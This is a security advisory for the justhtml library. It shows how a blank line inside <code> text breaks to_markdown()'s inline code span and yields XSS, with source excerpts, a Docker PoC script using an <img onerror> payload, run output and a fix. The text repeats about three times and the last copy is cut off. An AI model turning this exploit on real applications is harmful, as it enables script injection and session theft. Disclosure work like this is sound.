justhtml: to_markdown() code-span blank-line breakout enables XSS

Summary

In justhtml 0.9.0 through 1.21.0, to_markdown() renders <code> text (and <pre> text inside a link) as an inline Markdown code span whose only protection is backtick-fence length. A blank line (\n\n) in that text terminates the inline span in any compliant Markdown renderer, so attacker-controlled text that survived HTML sanitization is emitted unescaped after the blank line and is re-parsed as live raw HTML/Markdown — yielding XSS in the default configuration. Likely CWE-79 (Cross-site Scripting) arising from CWE-116 (Improper Encoding/Escaping of Output).

Details

to_markdown() is documented as a safety surface. docs/text.md states the guarantee applies "to the HTML produced by rendering that Markdown with a compliant Markdown renderer," and SECURITY.md promises to_markdown() "escapes line-start Markdown markers that could change block structure" and "uses code fences long enough to contain backticks safely."

The inline code-span helper only sizes the backtick fence; it never accounts for block boundaries:

src/justhtml/node.py:32-41 (tag v1.21.0):

def _markdown_code_span(s: str | None) -> str:
    if s is None:
        s = ""
    # Use a backtick fence longer than any run of backticks inside.
    fence = _markdown_backtick_fence(s, minimum=1)
    # CommonMark requires a space if the content starts/ends with backticks.
    needs_space = s.startswith("`") or s.endswith("`")
    if needs_space:
        return f"{fence} {s} {fence}"
    return f"{fence}{s}{fence}"

The element's text is taken verbatim (strip=False, so embedded newlines are preserved) and routed into that helper:

src/justhtml/node.py:1061-1078 (tag v1.21.0):

            if tag == "pre":
                code = current.to_text(separator="", strip=False)
                if current_in_link:
                    current_builder.raw(_markdown_code_span(code))      # inline path
                else:
                    fence = _markdown_backtick_fence(code, minimum=3)   # block path
                    ...
            if tag == "code" and not current_preserve:
                current_builder.raw(_markdown_code_span(current.to_text(separator="", strip=False)))

A Markdown inline code span is an inline construct and cannot span a block boundary: a blank line ends the paragraph, the opening backticks are left unmatched (literal), and everything after the blank line is parsed as ordinary Markdown — independent of fence length. Because CommonMark passes raw inline HTML through by default, text such as <img src=x onerror=...> becomes a live element.

Reachability with default settings: JustHTML(html) sanitizes by default; <code> and <pre> are in DEFAULT_POLICY.allowed_tags; default sanitization preserves their text and the blank line (whitespace collapsing is opt-in). The payload lives in text, not a URL attribute, so URL-scheme sanitization never applies. The tokenizer decodes character references in normal text before DOM insertion, so <img …> enters the DOM as literal <img …> text while passing HTML sanitization.

Two in-repo asymmetries confirm this is an unguarded path rather than intended behavior:

• Plain text-node content is HTML-escaped before Markdown escaping, so the same <img …> outside a code span is neutralized to <img …>. Inside a code span it is not escaped — the fence is assumed sufficient.
• <pre> outside a link uses a block fence (minimum=3, line 1066), which a blank line cannot break. The same <pre> inside a link (line 1064) and all <code> use the inline span, which a blank line breaks.

PoC

Self-contained, runs entirely in Docker against the pinned PyPI release. Static by default: the rendered HTML is parsed to show a live handler-bearing element materializes; no JavaScript is executed on the default path.

Dockerfile:

FROM python:3.11-slim
WORKDIR /poc
RUN pip install --no-cache-dir justhtml==1.21.0 markdown-it-py==4.2.0 \
 && (pip install --no-cache-dir dukpy==0.5.0 || echo "dukpy optional: skipped")
COPY poc.py test.sh /poc/
CMD ["sh", "/poc/test.sh"]

poc.py:

#!/usr/bin/env python3
"""PoC: justhtml to_markdown() inline code-span blank-line breakout -> XSS.
Audited release: justhtml==1.21.0. Static by default (parses the rendered HTML;
no JS executed). --prove-exec is an opt-in, container-only execution check."""
from __future__ import annotations
import argparse
from html.parser import HTMLParser
from justhtml import JustHTML
from markdown_it import MarkdownIt

MARKER = "__POC_XSS_MARKER__"
PAYLOAD_TEXT = f"<img src=x onerror={MARKER}()>"
RENDER = MarkdownIt("commonmark")  # raw-HTML passthrough is the CommonMark default


def build_inputs() -> tuple[str, str]:
    enc = PAYLOAD_TEXT.replace("<", "&lt;").replace(">", "&gt;")
    control = f"<code>q{enc}</code>"          # no blank line -> should stay inert
    exploit = f"<code>q\n\n{enc}</code>"      # + one blank line -> the whole exploit
    return control, exploit


def to_markdown(html: str) -> str:
    return JustHTML(html, fragment=True).to_markdown()  # public API, default sanitize=True


class _SinkFinder(HTMLParser):
    def __init__(self) -> None:
        super().__init__(); self.sinks: list[tuple[str, str, str]] = []
    def handle_starttag(self, tag, attrs):
        for name, val in attrs:
            if name.startswith("on") and val and MARKER in val:
                self.sinks.append((tag, name, val))


def live_sinks(html: str):
    f = _SinkFinder(); f.feed(html); return f.sinks


def show(label: str, html: str):
    md = to_markdown(html); rendered = RENDER.render(md); sinks = live_sinks(rendered)
    print(f"== {label} ==")
    print(f"  1. input HTML        : {html!r}")
    print(f"  2. to_markdown() out : {md!r}")
    print(f"  3. CommonMark render : {rendered.strip()!r}")
    print(f"  4. live JS sinks     : {sinks if sinks else 'NONE (inert)'}\n")
    return rendered, sinks


def prove_exec(rendered: str) -> None:
    print("== --prove-exec (supplementary, container-only) ==")
    sinks = live_sinks(rendered)
    if not sinks:
        print("  no sink to execute"); return
    handler_js = sinks[0][2]
    print(f"  materialized handler JS: {handler_js!r}")
    try:
        import dukpy
    except Exception:
        print("  [skipped] optional 'dukpy' not installed; parse proof is canonical."); return
    result = dukpy.evaljs(f"var fired=''; function {MARKER}(){{ fired='XSS-EXECUTED'; }} {handler_js}; fired;")
    print(f"  JS engine result: {result!r}  -> attacker JS executed" if result else "  JS did not fire")


def main() -> int:
    ap = argparse.ArgumentParser()
    ap.add_argument("--prove-exec", action="store_true")
    args = ap.parse_args()
    control, exploit = build_inputs()
    print("Delta between control and exploit: exactly one blank line (\\n\\n).\n")
    _, c_sinks = show("CONTROL  (payload in <code>, NO blank line)", control)
    ex_rendered, e_sinks = show("EXPLOIT  (payload in <code>, + blank line)", exploit)
    ok = (not c_sinks) and bool(e_sinks)
    print("== VERDICT ==")
    print("  BYPASS CONFIRMED." if ok else "  not reproduced")
    if ok:
        print(f"  Sanitized code text became a LIVE element: {e_sinks[0]}")
    print()
    if ok and args.prove_exec:
        prove_exec(ex_rendered)
    return 0 if ok else 1


if __name__ == "__main__":
    raise SystemExit(main())

Build and run:

docker build -t justhtml-md-poc ./poc
docker run --rm justhtml-md-poc

Observed output (justhtml 1.21.0, markdown-it-py 4.2.0):

=== Versions under test ===
Name: justhtml
Version: 1.21.0
Name: markdown-it-py
Version: 4.2.0

Delta between control and exploit: exactly one blank line (\n\n)
inserted into otherwise identical <code> text.

== CONTROL  (payload in <code>, NO blank line) ==
  1. input HTML        : '<code>q&lt;img src=x onerror=__POC_XSS_MARKER__()&gt;</code>'
  2. to_markdown() out : '`q<img src=x onerror=__POC_XSS_MARKER__()>`'
  3. CommonMark render : '<p><code>q&lt;img src=x onerror=__POC_XSS_MARKER__()&gt;</code></p>'
  4. live JS sinks     : NONE (inert)

== EXPLOIT  (payload in <code>, + blank line) ==
  1. input HTML        : '<code>q\n\n&lt;img src=x onerror=__POC_XSS_MARKER__()&gt;</code>'
  2. to_markdown() out : '`q\n\n<img src=x onerror=__POC_XSS_MARKER__()>`'
  3. CommonMark render : '<p>`q</p>\n<p><img src=x onerror=__POC_XSS_MARKER__()>`</p>'
  4. live JS sinks     : [('img', 'onerror', '__POC_XSS_MARKER__()')]

== VERDICT ==
  BYPASS CONFIRMED.
  The blank line terminated the inline code span; sanitized code
  text became a LIVE handler-bearing element: ('img', 'onerror', '__POC_XSS_MARKER__()')
  The control (no blank line) stayed inert inside <code>.

The exploit is byte-identical to the inert control plus a single blank line (\n\n). Deterministic: same input → same result.

Optional execution confirmation (docker run --rm justhtml-md-poc python3 /poc/poc.py --prove-exec) — supplementary; the parse proof above is canonical. Inert marker only:

== --prove-exec (supplementary, container-only) ==
  materialized handler JS: '__POC_XSS_MARKER__()'
  JS engine result: 'XSS-EXECUTED'  -> attacker JS executed

Impact

This is a cross-site scripting vulnerability (CWE-79). It affects any application that follows the documented pipeline: sanitize untrusted HTML with JustHTML(...) under default settings, call to_markdown(), and render the result with a CommonMark-compliant renderer (raw-HTML passthrough is the CommonMark default).

An attacker only needs to control HTML text inside a <code> element, or a <pre> element within a link — no custom policy and no sanitize=False. Any user who then views the rendered page executes attacker-controlled script in their own origin, enabling cookie/session theft or actions performed as the victim.

Severity: CVSS 3.1 6.1 (Moderate), CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N. Scope is Changed: the injected script runs in the origin of the page that renders the Markdown, a different security authority than the library that produced it.

Recommended fix

Do not represent text containing a block boundary as an inline code span. In _markdown_code_span / the <code> and in-link <pre> dispatch (src/justhtml/node.py:1061-1078), if the content contains a blank line (or any \n), emit it as a fenced code block — reusing the existing block path at lines 1066-1074, whose fence is not broken by blank lines — or collapse newlines in inline-code content. As defense-in-depth, escape HTML/Markdown-significant characters in code-span bodies rather than relying on fence length alone, matching the existing text-node escaping already applied elsewhere.

Resources

• CWE-79 — https://cwe.mitre.org/data/definitions/79.html
• CWE-116 — https://cwe.mitre.org/data/definitions/116.html
• Affected source (tag v1.21.0): src/justhtml/node.py:32-41 (_markdown_code_span), src/justhtml/node.py:1061-1078 (<pre>/<code> dispatch).
• CommonMark spec — code spans are inline and cannot contain a blank line; raw HTML is passed through by default: https://spec.commonmark.org/0.31.2/#code-spans
• Novelty: same vulnerability class as two prior, already-fixed to_markdown() advisories but a distinct, still-unfixed variant. The earlier fixes address (a) HTML-escaping of plain text nodes and (b) backtick-fence length for <pre> code blocks. Neither addresses a blank-line break of an inline code span: fence length is irrelevant to a block-boundary break, and code-span bodies are not HTML-escaped. The cited dispatch and helper are unchanged at v1.21.0, and origin/main == v1.21.0 (no embargoed fix).

justhtml: to_markdown() code-span blank-line breakout enables XSS

Summary

In justhtml 0.9.0 through 1.21.0, to_markdown() renders <code> text (and <pre> text inside a link) as an inline Markdown code span whose only protection is backtick-fence length. A blank line (\n\n) in that text terminates the inline span in any compliant Markdown renderer, so attacker-controlled text that survived HTML sanitization is emitted unescaped after the blank line and is re-parsed as live raw HTML/Markdown — yielding XSS in the default configuration. Likely CWE-79 (Cross-site Scripting) arising from CWE-116 (Improper Encoding/Escaping of Output).

Details

to_markdown() is documented as a safety surface. docs/text.md states the guarantee applies "to the HTML produced by rendering that Markdown with a compliant Markdown renderer," and SECURITY.md promises to_markdown() "escapes line-start Markdown markers that could change block structure" and "uses code fences long enough to contain backticks safely."

The inline code-span helper only sizes the backtick fence; it never accounts for block boundaries:

src/justhtml/node.py:32-41 (tag v1.21.0):

def _markdown_code_span(s: str | None) -> str:
    if s is None:
        s = ""
    # Use a backtick fence longer than any run of backticks inside.
    fence = _markdown_backtick_fence(s, minimum=1)
    # CommonMark requires a space if the content starts/ends with backticks.
    needs_space = s.startswith("`") or s.endswith("`")
    if needs_space:
        return f"{fence} {s} {fence}"
    return f"{fence}{s}{fence}"

The element's text is taken verbatim (strip=False, so embedded newlines are preserved) and routed into that helper:

src/justhtml/node.py:1061-1078 (tag v1.21.0):

            if tag == "pre":
                code = current.to_text(separator="", strip=False)
                if current_in_link:
                    current_builder.raw(_markdown_code_span(code))      # inline path
                else:
                    fence = _markdown_backtick_fence(code, minimum=3)   # block path
                    ...
            if tag == "code" and not current_preserve:
                current_builder.raw(_markdown_code_span(current.to_text(separator="", strip=False)))

A Markdown inline code span is an inline construct and cannot span a block boundary: a blank line ends the paragraph, the opening backticks are left unmatched (literal), and everything after the blank line is parsed as ordinary Markdown — independent of fence length. Because CommonMark passes raw inline HTML through by default, text such as <img src=x onerror=...> becomes a live element.

Reachability with default settings: JustHTML(html) sanitizes by default; <code> and <pre> are in DEFAULT_POLICY.allowed_tags; default sanitization preserves their text and the blank line (whitespace collapsing is opt-in). The payload lives in text, not a URL attribute, so URL-scheme sanitization never applies. The tokenizer decodes character references in normal text before DOM insertion, so <img …> enters the DOM as literal <img …> text while passing HTML sanitization.

Two in-repo asymmetries confirm this is an unguarded path rather than intended behavior:

• Plain text-node content is HTML-escaped before Markdown escaping, so the same <img …> outside a code span is neutralized to <img …>. Inside a code span it is not escaped — the fence is assumed sufficient.
• <pre> outside a link uses a block fence (minimum=3, line 1066), which a blank line cannot break. The same <pre> inside a link (line 1064) and all <code> use the inline span, which a blank line breaks.

PoC

Self-contained, runs entirely in Docker against the pinned PyPI release. Static by default: the rendered HTML is parsed to show a live handler-bearing element materializes; no JavaScript is executed on the default path.

Dockerfile:

FROM python:3.11-slim
WORKDIR /poc
RUN pip install --no-cache-dir justhtml==1.21.0 markdown-it-py==4.2.0 \
 && (pip install --no-cache-dir dukpy==0.5.0 || echo "dukpy optional: skipped")
COPY poc.py test.sh /poc/
CMD ["sh", "/poc/test.sh"]

poc.py:

#!/usr/bin/env python3
"""PoC: justhtml to_markdown() inline code-span blank-line breakout -> XSS.
Audited release: justhtml==1.21.0. Static by default (parses the rendered HTML;
no JS executed). --prove-exec is an opt-in, container-only execution check."""
from __future__ import annotations
import argparse
from html.parser import HTMLParser
from justhtml import JustHTML
from markdown_it import MarkdownIt

MARKER = "__POC_XSS_MARKER__"
PAYLOAD_TEXT = f"<img src=x onerror={MARKER}()>"
RENDER = MarkdownIt("commonmark")  # raw-HTML passthrough is the CommonMark default


def build_inputs() -> tuple[str, str]:
    enc = PAYLOAD_TEXT.replace("<", "&lt;").replace(">", "&gt;")
    control = f"<code>q{enc}</code>"          # no blank line -> should stay inert
    exploit = f"<code>q\n\n{enc}</code>"      # + one blank line -> the whole exploit
    return control, exploit


def to_markdown(html: str) -> str:
    return JustHTML(html, fragment=True).to_markdown()  # public API, default sanitize=True


class _SinkFinder(HTMLParser):
    def __init__(self) -> None:
        super().__init__(); self.sinks: list[tuple[str, str, str]] = []
    def handle_starttag(self, tag, attrs):
        for name, val in attrs:
            if name.startswith("on") and val and MARKER in val:
                self.sinks.append((tag, name, val))


def live_sinks(html: str):
    f = _SinkFinder(); f.feed(html); return f.sinks


def show(label: str, html: str):
    md = to_markdown(html); rendered = RENDER.render(md); sinks = live_sinks(rendered)
    print(f"== {label} ==")
    print(f"  1. input HTML        : {html!r}")
    print(f"  2. to_markdown() out : {md!r}")
    print(f"  3. CommonMark render : {rendered.strip()!r}")
    print(f"  4. live JS sinks     : {sinks if sinks else 'NONE (inert)'}\n")
    return rendered, sinks


def prove_exec(rendered: str) -> None:
    print("== --prove-exec (supplementary, container-only) ==")
    sinks = live_sinks(rendered)
    if not sinks:
        print("  no sink to execute"); return
    handler_js = sinks[0][2]
    print(f"  materialized handler JS: {handler_js!r}")
    try:
        import dukpy
    except Exception:
        print("  [skipped] optional 'dukpy' not installed; parse proof is canonical."); return
    result = dukpy.evaljs(f"var fired=''; function {MARKER}(){{ fired='XSS-EXECUTED'; }} {handler_js}; fired;")
    print(f"  JS engine result: {result!r}  -> attacker JS executed" if result else "  JS did not fire")


def main() -> int:
    ap = argparse.ArgumentParser()
    ap.add_argument("--prove-exec", action="store_true")
    args = ap.parse_args()
    control, exploit = build_inputs()
    print("Delta between control and exploit: exactly one blank line (\\n\\n).\n")
    _, c_sinks = show("CONTROL  (payload in <code>, NO blank line)", control)
    ex_rendered, e_sinks = show("EXPLOIT  (payload in <code>, + blank line)", exploit)
    ok = (not c_sinks) and bool(e_sinks)
    print("== VERDICT ==")
    print("  BYPASS CONFIRMED." if ok else "  not reproduced")
    if ok:
        print(f"  Sanitized code text became a LIVE element: {e_sinks[0]}")
    print()
    if ok and args.prove_exec:
        prove_exec(ex_rendered)
    return 0 if ok else 1


if __name__ == "__main__":
    raise SystemExit(main())

Build and run:

docker build -t justhtml-md-poc ./poc
docker run --rm justhtml-md-poc

Observed output (justhtml 1.21.0, markdown-it-py 4.2.0):

=== Versions under test ===
Name: justhtml
Version: 1.21.0
Name: markdown-it-py
Version: 4.2.0

Delta between control and exploit: exactly one blank line (\n\n)
inserted into otherwise identical <code> text.

== CONTROL  (payload in <code>, NO blank line) ==
  1. input HTML        : '<code>q&lt;img src=x onerror=__POC_XSS_MARKER__()&gt;</code>'
  2. to_markdown() out : '`q<img src=x onerror=__POC_XSS_MARKER__()>`'
  3. CommonMark render : '<p><code>q&lt;img src=x onerror=__POC_XSS_MARKER__()&gt;</code></p>'
  4. live JS sinks     : NONE (inert)

== EXPLOIT  (payload in <code>, + blank line) ==
  1. input HTML        : '<code>q\n\n&lt;img src=x onerror=__POC_XSS_MARKER__()&gt;</code>'
  2. to_markdown() out : '`q\n\n<img src=x onerror=__POC_XSS_MARKER__()>`'
  3. CommonMark render : '<p>`q</p>\n<p><img src=x onerror=__POC_XSS_MARKER__()>`</p>'
  4. live JS sinks     : [('img', 'onerror', '__POC_XSS_MARKER__()')]

== VERDICT ==
  BYPASS CONFIRMED.
  The blank line terminated the inline code span; sanitized code
  text became a LIVE handler-bearing element: ('img', 'onerror', '__POC_XSS_MARKER__()')
  The control (no blank line) stayed inert inside <code>.

The exploit is byte-identical to the inert control plus a single blank line (\n\n). Deterministic: same input → same result.

Optional execution confirmation (docker run --rm justhtml-md-poc python3 /poc/poc.py --prove-exec) — supplementary; the parse proof above is canonical. Inert marker only:

== --prove-exec (supplementary, container-only) ==
  materialized handler JS: '__POC_XSS_MARKER__()'
  JS engine result: 'XSS-EXECUTED'  -> attacker JS executed

Impact

This is a cross-site scripting vulnerability (CWE-79). It affects any application that follows the documented pipeline: sanitize untrusted HTML with JustHTML(...) under default settings, call to_markdown(), and render the result with a CommonMark-compliant renderer (raw-HTML passthrough is the CommonMark default).

An attacker only needs to control HTML text inside a <code> element, or a <pre> element within a link — no custom policy and no sanitize=False. Any user who then views the rendered page executes attacker-controlled script in their own origin, enabling cookie/session theft or actions performed as the victim.

Severity: CVSS 3.1 6.1 (Moderate), CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N. Scope is Changed: the injected script runs in the origin of the page that renders the Markdown, a different security authority than the library that produced it.

Recommended fix

Do not represent text containing a block boundary as an inline code span. In _markdown_code_span / the <code> and in-link <pre> dispatch (src/justhtml/node.py:1061-1078), if the content contains a blank line (or any \n), emit it as a fenced code block — reusing the existing block path at lines 1066-1074, whose fence is not broken by blank lines — or collapse newlines in inline-code content. As defense-in-depth, escape HTML/Markdown-significant characters in code-span bodies rather than relying on fence length alone, matching the existing text-node escaping already applied elsewhere.

Resources

• CWE-79 — https://cwe.mitre.org/data/definitions/79.html
• CWE-116 — https://cwe.mitre.org/data/definitions/116.html
• Affected source (tag v1.21.0): src/justhtml/node.py:32-41 (_markdown_code_span), src/justhtml/node.py:1061-1078 (<pre>/<code> dispatch).
• CommonMark spec — code spans are inline and cannot contain a blank line; raw HTML is passed through by default: https://spec.commonmark.org/0.31.2/#code-spans
• Novelty: same vulnerability class as two prior, already-fixed to_markdown() advisories but a distinct, still-unfixed variant. The earlier fixes address (a) HTML-escaping of plain text nodes and (b) backtick-fence length for <pre> code blocks. Neither addresses a blank-line break of an inline code span: fence length is irrelevant to a block-boundary break, and code-span bodies are not HTML-escaped. The cited dispatch and helper are unchanged at v1.21.0, and origin/main == v1.21.0 (no embargoed fix).

justhtml: to_markdown() code-span blank-line breakout enables XSS

Summary

In justhtml 0.9.0 through 1.21.0, to_markdown() renders <code> text (and <pre> text inside a link) as an inline Markdown code span whose only protection is backtick-fence length. A blank line (\n\n) in that text terminates the inline span in any compliant Markdown renderer, so attacker-controlled text that survived HTML sanitization is emitted unescaped after the blank line and is re-parsed as live raw HTML/Markdown — yielding XSS in the default configuration. Likely CWE-79 (Cross-site Scripting) arising from CWE-116 (Improper Encoding/Escaping of Output).

Details

to_markdown() is documented as a safety surface. docs/text.md states the guarantee applies "to the HTML produced by rendering that Markdown with a compliant Markdown renderer," and SECURITY.md promises to_markdown() "escapes line-start Markdown markers that could change block structure" and "uses code fences long enough to contain backticks safely."

The inline code-span helper only sizes the backtick fence; it never accounts for block boundaries:

src/justhtml/node.py:32-41 (tag v1.21.0):

def _markdown_code_span(s: str | None) -> str:
    if s is None:
        s = ""
    # Use a backtick fence longer than any run of backticks inside.
    fence = _markdown_backtick_fence(s, minimum=1)
    # CommonMark requires a space if the content starts/ends with backticks.
    needs_space = s.startswith("`") or s.endswith("`")
    if needs_space:
        return f"{fence} {s} {fence}"
    return f"{fence}{s}{fence}"

The element's text is taken verbatim (strip=False, so embedded newlines are preserved) and routed into that helper:

src/justhtml/node.py:1061-1078 (tag v1.21.0):

            if tag == "pre":
                code = current.to_text(separator="", strip=False)
                if current_in_link:
                    current_builder.raw(_markdown_code_span(code))      # inline path
                else:
                    fence = _markdown_backtick_fence(code, minimum=3)   # block path
                    ...
            if tag == "code" and not current_preserve:
                current_builder.raw(_markdown_code_span(current.to_text(separator="", strip=False)))

A Markdown inline code span is an inline construct and cannot span a block boundary: a blank line ends the paragraph, the opening backticks are left unmatched (literal), and everything after the blank line is parsed as ordinary Markdown — independent of fence length. Because CommonMark passes raw inline HTML through by default, text such as <img src=x onerror=...> becomes a live element.

Reachability with default settings: JustHTML(html) sanitizes by default; <code> and <pre> are in DEFAULT_POLICY.allowed_tags; default sanitization preserves their text and the blank line (whitespace collapsing is opt-in). The payload lives in text, not a URL attribute, so URL-scheme sanitization never applies. The tokenizer decodes character references in normal text before DOM insertion, so <img …> enters the DOM as literal <img …> text while passing HTML sanitization.

Two in-repo asymmetries confirm this is an unguarded path rather than intended behavior:

• Plain text-node content is HTML-escaped before Markdown escaping, so the same <img …> outside a code span is neutralized to <img …>. Inside a code span it is not escaped — the fence is assumed sufficient.
• <pre> outside a link uses a block fence (minimum=3, line 1066), which a blank line cannot break. The same <pre> inside a link (line 1064) and all <code> use the inline span, which a blank line breaks.

PoC

Self-contained, runs entirely in Docker against the pinned PyPI release. Static by default: the rendered HTML is parsed to show a live handler-bearing element materializes; no JavaScript is executed on the default path.

Dockerfile:

FROM python:3.11-slim
WORKDIR /poc
RUN pip install --no-cache-dir justhtml==1.21.0 markdown-it-py==4.2.0 \
 && (pip install --no-cache-dir dukpy==0.5.0 || echo "dukpy optional: skipped")
COPY poc.py test.sh /poc/
CMD ["sh", "/poc/test.sh"]

poc.py:

#!/usr/bin/env python3
"""PoC: justhtml to_markdown() inline code-span blank-line breakout -> XSS.
Audited release: justhtml==1.21.0. Static by default (parses the rendered HTML;
no JS executed). --prove-exec is an opt-in, container-only execution check."""
from __future__ import annotations
import argparse
from html.parser import HTMLParser
from justhtml import JustHTML
from markdown_it import MarkdownIt

MARKER = "__POC_XSS_MARKER__"
PAYLOAD_TEXT = f"<img src=x onerror={MARKER}()>"
RENDER = MarkdownIt("commonmark")  # raw-HTML passthrough is the CommonMark default


def build_inputs() -> tuple[str, str]:
    enc = PAYLOAD_TEXT.replace("<", "&lt;").replace(">", "&gt;")
    control = f"<code>q{enc}</code>"          # no blank line -> should stay inert
    exploit = f"<code>q\n\n{enc}</code>"      # + one blank line -> the whole exploit
    return control, exploit


def to_markdown(html: str) -> str:
    return JustHTML(html, fragment=True).to_markdown()  # public API, default sanitize=True


class _SinkFinder(HTMLParser):
    def __init__(self) -> None:
        super().__init__(); self.sinks: list[tuple[str, str, str]] = []
    def handle_starttag(self, tag, attrs):
        for name, val in attrs:
            if name.startswith("on") and val and MARKER in val:
                self.sinks.append((tag, name, val))


def live_sinks(html: str):
    f = _SinkFinder(); f.feed(html); return f.sinks


def show(label: str, html: str):
    md = to_markdown(html); rendered = RENDER.render(md); sinks = live_sinks(rendered)
    print(f"== {label} ==")
    print(f"  1. input HTML        : {html!r}")
    print(f"  2. to_markdown() out : {md!r}")
    print(f"  3. CommonMark render : {rendered.strip()!r}")
    print(f"  4. live JS sinks     : {sinks if sinks else 'NONE (inert)'}\n")
    return rendered, sinks


def prove_exec(rendered: str) -> None:
    print("== --prove-exec (supplementary, container-only) ==")
    sinks = live_sinks(rendered)
    if not sinks:
        print("  no sink to execute"); return
    handler_js = sinks[0][2]
    print(f"  materialized handler JS: {handler_js!r}")
    try:
        import dukpy
    except Exception:
        print("  [skipped] optional 'dukpy' not installed; parse proof is canonical."); return
    result = dukpy.evaljs(f"var fired=''; function {MARKER}(){{ fired='XSS-EXECUTED'; }} {handler_js}; fired;")
    print(f"  JS engine result: {result!r}  -> attacker JS executed" if result else "  JS did not fire")


def main() -> int:
    ap = argparse.ArgumentParser()
    ap.add_argument("--prove-exec", action="store_true")
    args = ap.parse_args()
    control, exploit = build_inputs()
    print("Delta between control and exploit: exactly one blank line (\\n\\n).\n")
    _, c_sinks = show("CONTROL  (payload in <code>, NO blank line)", control)
    ex_rendered, e_sinks = show("EXPLOIT  (payload in <code>, + blank line)", exploit)
    ok = (not c_sinks) and bool(e_sinks)
    print("== VERDICT ==")
    print("  BYPASS CONFIRMED." if ok else "  not reproduced")
    if ok:
        print(f"  Sanitized code text became a LIVE element: {e_sinks[0]}")
    print()
    if ok and args.prove_exec:
        prove_exec(ex_rendered)
    return 0 if ok else 1


if __name__ == "__main__":
    raise SystemExit(main())

Build and run:

docker build -t justhtml-md-poc ./poc
docker run --rm justhtml-md-poc

Observed output (justhtml 1.21.0, markdown-it-py 4.2.0):

=== Versions under test ===
Name: justhtml
Version: 1.21.0
Name: markdown-it-py
Version: 4.2.0

Delta between control and exploit: exactly one blank line (\n\n)
inserted into otherwise identical <code> text.

== CONTROL  (payload in <code>, NO blank line) ==
  1. input HTML        : '<code>q&lt;img src=x onerror=__POC_XSS_MARKER__()&gt;</code>'
  2. to_markdown() out : '`q<img src=x onerror=__POC_XSS_MARKER__()>`'
  3. CommonMark render : '<p><code>q&lt;img src=x onerror=__POC_XSS_MARKER__()&gt;</code></p>'
  4. live JS sinks     : NONE (inert)

== EXPLOIT  (payload in <code>, + blank line) ==
  1. input HTML        : '<code>q\n\n&lt;img src=x onerror=__POC_XSS_MARKER__()&gt;</code>'
  2. to_markdown() out : '`q\n\n<img src=x onerror=__POC_XSS_MARKER__()>`'
  3. CommonMark render : '<p>`q</p>\n<p><img src=x onerror=__POC_XSS_MARKER__()>`</p>'
  4. live JS sinks     : [('img', 'onerror', '__POC_XSS_MARKER__()')]

== VERDICT ==
  BYPASS CONFIRMED.
  The blank line terminated the inline code span; sanitized code
  text became a LIVE handler-bearing element: ('img', 'onerror', '__POC_XSS_MARKER__()')
  The control (no blank line) stayed inert inside <code>.

The exploit is byte-identical to the inert control plus a single blank line (\n\n). Deterministic: same input → same result.

Optional execution confirmation (docker run --rm justhtml-md-poc python3 /poc/poc.py --prove-exec) — supplementary; the parse proof above is canonical. Inert marker only:

== --prove-exec (supplementary, container-only) ==
  materialized handler JS: '__POC_XSS_MARKER__()'
  JS engine result: 'XSS-EXECUTED'  -> attacker JS executed

Impact

This is a cross-site scripting vulnerability (CWE-79). It affects any application that follows the documented pipeline: sanitize untrusted HTML with JustHTML(...) under default settings, call to_markdown(), and render the result with a CommonMark-compliant renderer (raw-HTML passthrough is the CommonMark default).

An attacker only needs to control HTML text inside a <code> element, or a <pre> element within a link — no custom policy and no sanitize=False. Any user who then views the rendered page executes attacker-controlled script in their own origin, enabling cookie/session theft or actions performed as the victim.

Severity: CVSS 3.1 6.1 (Moderate), CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N. Scope is Changed: the injected script runs in the origin of the page that renders the Markdown, a different security authority than the library that produced it.

Recommended fix

Do not represent text containing a block boundary as an inline code span. In _markdown_code_span / the <code> and in-link <pre> dispatch (src/justhtml/node.py:1061-1078), if the content contains a blank line (or any \n), emit it as a fenced code block — reusing the existing block path at lines 1066-1074, whose fence is not broken by blank lines — or collapse newlines in inline-code content. As defense-in-depth, escape HTML/Markdown-significant characters in code-span bodies rather than relying on fence length alone, matching the existing text-node escaping already applied elsewhere.

Resources

• CWE-79 — https://cwe.mitre.org/data/definitions/79.html
• CWE-116 — https://cwe.mitre.org/data/definitions/116.html
• Affected source (tag v1.21.0): src/justhtml/node.py:32-41 (_markdown_code_span), src/justhtml/node.py:1061-1078 (<pre>/<code> dispatch).
• CommonMark spec — code spans are inline and cannot contain a blank line; raw HTML is passed through by default: https://spec.commonmark.org/0.31.2/#code-spans
• Novelty: same vulnerability class as two prior, already-fixed to_markdown() advisories but a distinct, still-unfixed variant. The earlier fixes address (a) HTML-escaping of plain text nodes and (b) backtick-fence length for <pre> code blocks. Neither addresses a blank-line break of an inline code span: fence length is irrelevant to a block-boundary break, and code-span bodies are not HTML-escaped. The cited dispatch and helper are unchanged at v1.21.0, and origin/main == v1.21.0 (no embargoed fix).

justhtml: to_markdown() code-span blank-line breakout enables XSS

Summary

In justhtml 0.9.0 through 1.21.0, to_markdown() renders <code> text (and <pre> text inside a link) as an inline Markdown code span whose only protection is backtick-fence length. A blank line (\n\n) in that text terminates the inline span in any compliant Markdown renderer, so attacker-controlled text that survived HTML sanitization is emitted unescaped after the blank line and is re-parsed as live raw HTML/Markdown — yielding XSS in the default configuration. Likely CWE-79 (Cross-site Scripting) arising from CWE-116 (Improper Encoding/Escaping of Output).

Details

to_markdown() is documented as a safety surface. docs/text.md states the guarantee applies "to the HTML produced by rendering that Markdown with a compliant Markdown renderer," and SECURITY.md promises to_markdown() "escapes line-start Markdown markers that could change block structure" and "uses code fences long enough to contain backticks safely."

The inline code-span helper only sizes the backtick fence; it never accounts for block boundaries:

src/justhtml/node.py:32-41 (tag v1.21.0):

def _markdown_code_span(s: str | None) -> str:
    if s is None:
        s = ""
    # Use a backtick fence longer than any run of backticks inside.
    fence = _markdown_backtick_fence(s, minimum=1)
    # CommonMark requires a space if the content starts/ends with backticks.
    needs_space = s.startswith("`") or s.endswith("`")
    if needs_space:
        return f"{fence} {s} {fence}"
    return f"{fence}{s}{fence}"

The element's text is taken verbatim (strip=False, so embedded newlines are preserved) and routed into that helper:

src/justhtml/node.py:1061-1078 (tag v1.21.0):

            if tag == "pre":
                code = current.to_text(separator="", strip=False)
                if current_in_link:
                    current_builder.raw(_markdown_code_span(code))      # inline path
                else:
                    fence = _markdown_backtick_fence(code, minimum=3)   # block path
                    ...
            if tag == "code" and not current_preserve:
                current_builder.raw(_markdown_code_span(current.to_text(separator="", strip=False)))

